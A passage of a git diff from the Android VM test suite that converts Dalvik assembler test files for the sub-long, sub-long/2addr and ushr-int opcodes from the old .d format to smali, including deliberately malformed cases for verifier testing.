-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sub_long_1.java
-.class public dot.junit.opcodes.sub_long.d.T_sub_long_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)J
-.limit regs 7
-       sub-long v0, v3, v5
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long/d/T_sub_long_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long/d/T_sub_long_1.smali
new file mode 100644
index 0000000..1c360a4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long/d/T_sub_long_1.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_long_1.java"
+.class  public Ldot/junit/opcodes/sub_long/d/T_sub_long_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 7
+       sub-long v0, v3, v5
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long/d/T_sub_long_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long/d/T_sub_long_2.d
deleted file mode 100644
index 6e191ac..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long/d/T_sub_long_2.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sub_long_2.java
-.class public dot.junit.opcodes.sub_long.d.T_sub_long_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JD)J
-.limit regs 7
-       sub-long v0, v3, v5
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long/d/T_sub_long_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long/d/T_sub_long_2.smali
new file mode 100644
index 0000000..dee39d9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long/d/T_sub_long_2.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_long_2.java"
+.class  public Ldot/junit/opcodes/sub_long/d/T_sub_long_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JD)J
+.registers 7
+       sub-long v0, v3, v5
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long/d/T_sub_long_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long/d/T_sub_long_3.d
deleted file mode 100644
index 5fe421f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long/d/T_sub_long_3.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sub_long_3.java
-.class public dot.junit.opcodes.sub_long.d.T_sub_long_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)J
-.limit regs 7
-       const v3, 12346
-       sub-long v0, v3, v5
-       return-wide v5
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long/d/T_sub_long_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long/d/T_sub_long_3.smali
new file mode 100644
index 0000000..d25f752a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long/d/T_sub_long_3.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_long_3.java"
+.class  public Ldot/junit/opcodes/sub_long/d/T_sub_long_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 7
+       const v3, 12346
+       sub-long v0, v3, v5
+       return-wide v5
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long/d/T_sub_long_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long/d/T_sub_long_4.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/sub_long/d/T_sub_long_4.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/sub_long/d/T_sub_long_4.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long/d/T_sub_long_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long/d/T_sub_long_4.smali
new file mode 100644
index 0000000..1de3c0a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long/d/T_sub_long_4.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sub_long/d/T_sub_long_4;
+.super Ljava/lang/Object;
+.source "T_sub_long_4.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(JJ)J
+    .registers 7
+
+    const p3, 0x4640e800    # 12346.0f
+
+    sub-long v0, p1, p3
+
+    return-wide p1
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long/d/T_sub_long_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long/d/T_sub_long_5.d
deleted file mode 100644
index c498408..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long/d/T_sub_long_5.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sub_long_5.java
-.class public dot.junit.opcodes.sub_long.d.T_sub_long_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)J
-.limit regs 7
-       sub-long v0, v3, v2
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long/d/T_sub_long_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long/d/T_sub_long_5.smali
new file mode 100644
index 0000000..6991b35
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long/d/T_sub_long_5.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_long_5.java"
+.class  public Ldot/junit/opcodes/sub_long/d/T_sub_long_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 7
+       sub-long v0, v3, v2
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long/d/T_sub_long_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long/d/T_sub_long_6.d
deleted file mode 100644
index f9f2065..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long/d/T_sub_long_6.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sub_long_6.java
-.class public dot.junit.opcodes.sub_long.d.T_sub_long_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)J
-.limit regs 7
-       sub-long v0, v3, v7
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long/d/T_sub_long_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long/d/T_sub_long_6.smali
new file mode 100644
index 0000000..28cabfb
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long/d/T_sub_long_6.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_long_6.java"
+.class  public Ldot/junit/opcodes/sub_long/d/T_sub_long_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 7
+       sub-long v0, v3, v7
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long_2addr/d/T_sub_long_2addr_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long_2addr/d/T_sub_long_2addr_1.d
deleted file mode 100644
index f416a03..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long_2addr/d/T_sub_long_2addr_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sub_long_2addr_1.java
-.class public dot.junit.opcodes.sub_long_2addr.d.T_sub_long_2addr_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)J
-.limit regs 7
-
-       sub-long/2addr v3, v5
-       return-wide v3
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long_2addr/d/T_sub_long_2addr_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long_2addr/d/T_sub_long_2addr_1.smali
new file mode 100644
index 0000000..0743e9f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long_2addr/d/T_sub_long_2addr_1.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_long_2addr_1.java"
+.class  public Ldot/junit/opcodes/sub_long_2addr/d/T_sub_long_2addr_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 7
+
+       sub-long/2addr v3, v5
+       return-wide v3
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long_2addr/d/T_sub_long_2addr_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long_2addr/d/T_sub_long_2addr_2.d
deleted file mode 100644
index eb91aff..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long_2addr/d/T_sub_long_2addr_2.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sub_long_2addr_2.java
-.class public dot.junit.opcodes.sub_long_2addr.d.T_sub_long_2addr_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JD)J
-.limit regs 7
-       sub-long/2addr v3, v5
-       return-wide v3
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long_2addr/d/T_sub_long_2addr_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long_2addr/d/T_sub_long_2addr_2.smali
new file mode 100644
index 0000000..d2ae540
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long_2addr/d/T_sub_long_2addr_2.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_long_2addr_2.java"
+.class  public Ldot/junit/opcodes/sub_long_2addr/d/T_sub_long_2addr_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JD)J
+.registers 7
+       sub-long/2addr v3, v5
+       return-wide v3
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long_2addr/d/T_sub_long_2addr_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long_2addr/d/T_sub_long_2addr_3.d
deleted file mode 100644
index bea4aea..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long_2addr/d/T_sub_long_2addr_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sub_long_2addr_3.java
-.class public dot.junit.opcodes.sub_long_2addr.d.T_sub_long_2addr_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)J
-.limit regs 7
-
-       const v3, 12346
-       sub-long/2addr v3, v5
-       return-wide v5
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long_2addr/d/T_sub_long_2addr_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long_2addr/d/T_sub_long_2addr_3.smali
new file mode 100644
index 0000000..be16558
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long_2addr/d/T_sub_long_2addr_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_long_2addr_3.java"
+.class  public Ldot/junit/opcodes/sub_long_2addr/d/T_sub_long_2addr_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 7
+
+       const v3, 12346
+       sub-long/2addr v3, v5
+       return-wide v5
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long_2addr/d/T_sub_long_2addr_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long_2addr/d/T_sub_long_2addr_4.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/sub_long_2addr/d/T_sub_long_2addr_4.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/sub_long_2addr/d/T_sub_long_2addr_4.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long_2addr/d/T_sub_long_2addr_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long_2addr/d/T_sub_long_2addr_4.smali
new file mode 100644
index 0000000..fcd6c01
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long_2addr/d/T_sub_long_2addr_4.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sub_long_2addr/d/T_sub_long_2addr_4;
+.super Ljava/lang/Object;
+.source "T_sub_long_2addr_4.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(JJ)J
+    .registers 7
+
+    const p3, 0x4640e800    # 12346.0f
+
+    sub-long/2addr p1, p3
+
+    return-wide p1
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long_2addr/d/T_sub_long_2addr_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long_2addr/d/T_sub_long_2addr_5.d
deleted file mode 100644
index da99ce1..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long_2addr/d/T_sub_long_2addr_5.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sub_long_2addr_5.java
-.class public dot.junit.opcodes.sub_long_2addr.d.T_sub_long_2addr_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)J
-.limit regs 7
-
-       sub-long/2addr v3, v2
-       return-wide v3
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long_2addr/d/T_sub_long_2addr_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long_2addr/d/T_sub_long_2addr_5.smali
new file mode 100644
index 0000000..acbbaca
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long_2addr/d/T_sub_long_2addr_5.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_long_2addr_5.java"
+.class  public Ldot/junit/opcodes/sub_long_2addr/d/T_sub_long_2addr_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 7
+
+       sub-long/2addr v3, v2
+       return-wide v3
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long_2addr/d/T_sub_long_2addr_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long_2addr/d/T_sub_long_2addr_6.d
deleted file mode 100644
index fb874e6..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long_2addr/d/T_sub_long_2addr_6.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sub_long_2addr_6.java
-.class public dot.junit.opcodes.sub_long_2addr.d.T_sub_long_2addr_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)J
-.limit regs 7
-
-       sub-long/2addr v3, v7
-       return-wide v3
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long_2addr/d/T_sub_long_2addr_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long_2addr/d/T_sub_long_2addr_6.smali
new file mode 100644
index 0000000..3abafb3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long_2addr/d/T_sub_long_2addr_6.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_long_2addr_6.java"
+.class  public Ldot/junit/opcodes/sub_long_2addr/d/T_sub_long_2addr_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 7
+
+       sub-long/2addr v3, v7
+       return-wide v3
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int/d/T_ushr_int_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int/d/T_ushr_int_1.d
deleted file mode 100644
index dd22d10..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int/d/T_ushr_int_1.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_ushr_int_1.java
-.class public dot.junit.opcodes.ushr_int.d.T_ushr_int_1
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 3
-
-       ushr-int v1, v1, v2
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int/d/T_ushr_int_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int/d/T_ushr_int_1.smali
new file mode 100644
index 0000000..aa6907b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int/d/T_ushr_int_1.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
